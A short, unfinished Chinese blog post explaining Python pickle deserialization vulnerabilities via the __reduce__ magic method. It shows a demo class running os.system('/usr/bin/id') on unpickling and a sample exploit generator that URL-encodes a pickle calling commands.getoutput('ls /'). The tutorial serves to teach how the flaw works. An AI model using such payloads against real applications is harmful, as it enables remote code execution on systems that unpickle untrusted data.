浅析Python反序列化

发布于 2021-08-06  63 次阅读


Pickle/CPickle反序列化漏洞

Python反序列化漏洞出现在当反序列化的过程中出现__reduce()__这个魔法函数上,这一点和PHP中的__wakeup()魔术方法十分相似,都是在反序列化开始(或者结束)被自动调用。

在反序列化的过程中,因为变成语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部吧解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞

有一个好处pickle.loads会解决import问题,对于未引入的module会自动尝试import。也就是说整个Python标准库的代码执行、命令执行函数都可以使用。

__reduce__:

image-20210319211435559

在python2中只有内置类才有__reduce__方法,即用class A(object)声明的类,而python3中已经默认都是内置类了

#模仿Epicccal师傅的例子
import pickle
import os

class Test2(object):
def __reduce__(self):
#被调用函数的参数
cmd = "/usr/bin/id"
return (os.system,(cmd,))

if __name__ == "__main__":
test = Test2()
#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)

# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.满足返回一个元组,元组中有两个参数
# 2.第一个参数是被调用函数 : os.system()
# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
# 4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")
#os.system和os.popen 
os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0
os.popen() 无法读取程序执行的返回值

这两个函数只有以print输出时才会回显,如果是以return返回的就不会显示结果

img
#参考可以使用的exp
# coding=utf8
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

(水平不足,未完待续…)